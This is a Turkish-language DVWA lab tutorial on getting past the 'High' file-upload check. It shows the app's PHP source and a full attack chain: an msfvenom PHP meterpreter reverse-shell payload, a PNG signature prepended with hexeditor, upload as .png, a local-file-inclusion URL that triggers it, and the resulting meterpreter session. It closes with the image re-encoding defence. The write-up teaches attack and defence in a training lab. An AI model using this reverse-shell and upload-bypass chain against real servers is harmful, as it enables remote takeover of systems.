Ders 13 - File Upload (High Level) | |||||||||||
Bu yazıda güvenlik düzeyi High seviyesine yükseltilmiş DVWA'da shell tehditine karşı ne gibi bir önlem alındığına ve bu önlemin aşılıp aşılamayacağına değinilecektir.
Konuya giriş yapmadan önce bu yazının dahil olduğu dvwa eğitim serisindeki tüm makalelere şu adresten bu yazının ilintili olduğu dvwa eğitim serisindeki diğer makalelere ise şu adreslerden erişebilirsiniz. Dersin HedefiShell'e karşı nasıl daha etkili bir güvenlik temin edilebileceğini ve yine nasıl aşılabileceğini keşfedin.Shell'e Karşı ÖnlemFile Upload bölümünün ilk dersinde shell upload ederek bir siteyi nasıl hack'leyebileceğimizden bahsetmiştik. İkinci derste ise shell tehditine karşı alınmış bir güvenlik önleminden ve bu güvenlik önleminin nasıl aşılabileceğinden bahsetmiştik. Bu derste ise önceki derse nazaran daha etkili bir güvenlik önleminden bahsedeceğiz. DVWA'da güvenlik seviyesi High Level iken kullanılan kaynak kod şudur:High Level: <?php if( isset( $_POST[ 'Upload' ] ) ) { // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/"; $target_path .= basename( $_FILES[ 'uploaded' ][ 'name' ] ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Is it an image? if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext ) == "jpeg" || strtolower( $uploaded_ext ) == "png" ) && ( $uploaded_size < 100000 ) && getimagesize( $uploaded_tmp ) ) { // Can we move the file to the upload folder? if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) { // No echo 'Your image was not uploaded.'; } else { // Yes! echo "{$target_path} succesfully uploaded!"; } } else { // Invalid file echo 'Your image was not uploaded. We can only accept JPEG or PNG images.'; } } ?> Yukarıdaki kullanılan kaynak kodun 10. satırına dikkat ederseniz kullanıcının yükleme teşebbüsünde bulunduğu dosyanın ismi ele alınıyor. Dosya isminde barınan ilk noktadan sonraki tüm karakterler $uploaded_ext değişkenine atanıyor. Yani bu yapılan işlem dosyanın uzantısını öğrenmek içindir. Ardından bu değişken 15. satırda sınanıyor ve eğer jpg, jpeg, png değerlerinden birine sahipse dosyanın upload'lanmasına izin veriliyor. Eğer jpg, jpeg ya da png değerlerine sahip değilse dosyanın upload'lanması else koşuluna girilerek engelleniyor. Görüldüğü üzere bu sefer öncekine nazaran daha sıkı bir güvenlik prosedürü uygulanmış. Fikir cimnastiği yapmak adına ilk derste oluşturulan shell.php dosyasını şöyle adlandırıp göndermeyi deneyebiliriz: shell.png.php Ancak sunucu buna kanmaz. Çünkü 10. satırda yer alan fonksiyonların kullanımına göre ilk noktadan sonraki tüm karakterler uzantı olarak kabul ediliyor. Dolayısıyla sunucu dosyayı upload'lamak için png.php değerini sınayacaktır. E haliyle bu değer ne png ne jpeg ne de jpg olduğu için dosya upload'lanamayacaktır. File Upload High Level Korumayı AtlatmaDVWA'da file upload sayfasında high güvenlik seviyesi sıkı bir güvenlik olsa da atlatılabilmektedir. Bunun için File Upload saldırısını LFI (Local File Inclusion) saldırısı ile birleştirmemiz şarttır. Şimdi high güvenliği atlatıp yine web shell upload'layarak reverse shell bağlantısı yakalayalım ve sisteme sızalım. İşte o adımlar:Gereksinimler
1. Saldırgan önce payload'u oluşturur:
Kali Linux VM Terminal #1:
msfvenom -l payloads | grep php msfvenom -p php/meterpreter/reverse_tcp lhost=KALI_IP_ADDRESS lport=4444 -f raw > exploit.php ![]() ![]() ![]() 2. Saldırgan ardından dinleme moduna geçer.
Kali Linux VM Terminal #2:
msfconsole msf6> use exploit/multi/handler msf6 exploit(multi/handler) > set payload php/meterpreter/reverse_tcp msf6 exploit(multi/handler) > set lhost KALI_IP_ADDRESS msf6 exploit(multi/handler) > run ![]() 3. Msfvenom ile oluşan exploit.php payload'u bir editör ile (örn; nano ile) açılır ve en başına 8 adet boşluk karakteri eklenir.
Kali Linux Terminal:
nano exploit.php ![]() ![]() CTRL+X yapıp ENTER'layp nano editörünü kapatabiliriz. Bu adımı yapıyoruz çünkü hexeditor adlı araç kullanacağız ve bu araç ile exploit.php'ye 8 adet hexadecimal değer gireceğiz. Bu hexadecimal değerleri içeriğin üzerine overwrite edecek şekilde girmek istemiyoruz. En başa ilave olacak şekilde eklemek istiyoruz. Dosyanın imzasını değiştirmek istiyoruz, dosyanın içeriğini değil. Bu nedenle dosya imzasını bir sonraki adımda en başa eklememiz gerekecek. 4. exploit.php hexeditor ile açılır ve en başına örn; png dosya imzası eklenir.
Kali Linux Terminal #2:
hexeditor exploit.php (( En baştaki 8 boşluğa şu png dosya imzası 89 50 4E 47 0D 0A 1A 0A girilir )) ![]() ![]() ![]() ![]() Not: Dosya imzaları hakkında ayrıntılı bilgi için bkz. https://en.wikipedia.org/wiki/List_of_file_signatures CTR+X ile dosya kaydedilir ve çıkılır. 5. Ardından exploit.php dosyası file upload'un kabul edeceği uzantıya (.png) dönüştürülür.
Kali Linux Terminal #2:
cp exploit.php exploit.png ![]() 6. Ardından exploit.png dosyasını high seviyede file upload saldırısı gereği web sunucuya upload'larız. ![]() ![]() ![]() Görüldüğü gibi png görünümlü php dosyasını sunucu kabul etti. 7. Sonra güvenlik seviyesi dvwa'da low 'a çekilir. Çünkü şimdi file upload saldırısını lfi saldırısı ile birleştireceğiz ve uygulama ful lfi açıklığına sahip varsayacağız. ![]() 8. Son yüklediğimiz png dosyayı lfi saldırısı ile tetikleriz. ![]() ![]() http://DVWA_WEB_SERVER_IP/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/exploit.png 9. Böylece meterpreter session'ı komut satırımıza gelecektir.
Kali Linux Terminal #1:
msf6 exploit(multi/handler) > [*] Started reverse TCP handler on 192.168.56.134:4444 [*] Sending stage (39282 bytes) to 192.168.56.136 [*] Meterpreter session 2 opened (192.168.56.134:4444 -> 192.168.56.136:58943 ) at 2025-03-20 02:41:20 +0300 meterpreter > ![]() Görüldüğü gibi high level güvenlik önlemi de işe yaramadı. Peki nasıl daha etkili bir güvenlik önlemi alınabilir? Impossible seviyesine bir göz atalım. File Upload (Impossible Level): <?php if( isset( $_POST[ 'Upload' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // File information $uploaded_name = $_FILES[ 'uploaded' ][ 'name' ]; $uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1); $uploaded_size = $_FILES[ 'uploaded' ][ 'size' ]; $uploaded_type = $_FILES[ 'uploaded' ][ 'type' ]; $uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ]; // Where are we going to be writing to? $target_path = DVWA_WEB_PAGE_TO_ROOT . 'hackable/uploads/'; //$target_file = basename( $uploaded_name, '.' . $uploaded_ext ) . '-'; $target_file = md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; $temp_file = ( ( ini_get( 'upload_tmp_dir' ) == '' ) ? ( sys_get_temp_dir() ) : ( ini_get( 'upload_tmp_dir' ) ) ); $temp_file .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . '.' . $uploaded_ext; // Is it an image? if( ( strtolower( $uploaded_ext ) == 'jpg' || strtolower( $uploaded_ext ) == 'jpeg' || strtolower( $uploaded_ext ) == 'png' ) && ( $uploaded_size < 100000 ) && ( $uploaded_type == 'image/jpeg' || $uploaded_type == 'image/png' ) && getimagesize( $uploaded_tmp ) ) { // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD) if( $uploaded_type == 'image/jpeg' ) { $img = imagecreatefromjpeg( $uploaded_tmp ); imagejpeg( $img, $temp_file, 100); } else { $img = imagecreatefrompng( $uploaded_tmp ); imagepng( $img, $temp_file, 9); } imagedestroy( $img ); // Can we move the file to the web root from the temp folder? if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) { // Yes! echo "<pre><a href='${target_path}${target_file}'>${target_file}</a> succesfully uploaded!</pre>"; } else { // No echo '<pre>Your image was not uploaded.</pre>'; } // Delete any temp files if( file_exists( $temp_file ) ) unlink( $temp_file ); } else { // Invalid file echo '<pre>Your image was not uploaded. We can only accept JPEG or PNG images.</pre>'; } } // Generate Anti-CSRF token generateSessionToken(); ?>Geliştiriciler 29-36ncı satır arasındaki gibi aldıkları resimlerin binary'sini encode'layıp tekrar resim oluşturmalıdırlar. Bu şekilde yapınca resim iddiasındaki dosyada resim binary'si olmayan metadata'lar kırpılmış olacaktır ve örneğin png gözüken php dosyası saldırısı yine tatbik edildiğinde başarıya ulaşamayacaktır. Sonuç olarak geliştiriciler aldıkları resimleri kütüphaneleri ile işleyip tekrar oluşturmalılar ve o şekilde diske kaydetmelidirler. Yararlanılan Kaynaklar
|
|||||||||||
![]() |
|||||||||||
|
|||||||||||
Yorumlar |
|||||||||||
|
|||||||||||
|
|||||||||||
|
|||||||||||
|
|||||||||||
|
|||||||||||
|
|||||||||||
|
|||||||||||
Yorum Ekle | |||||||||||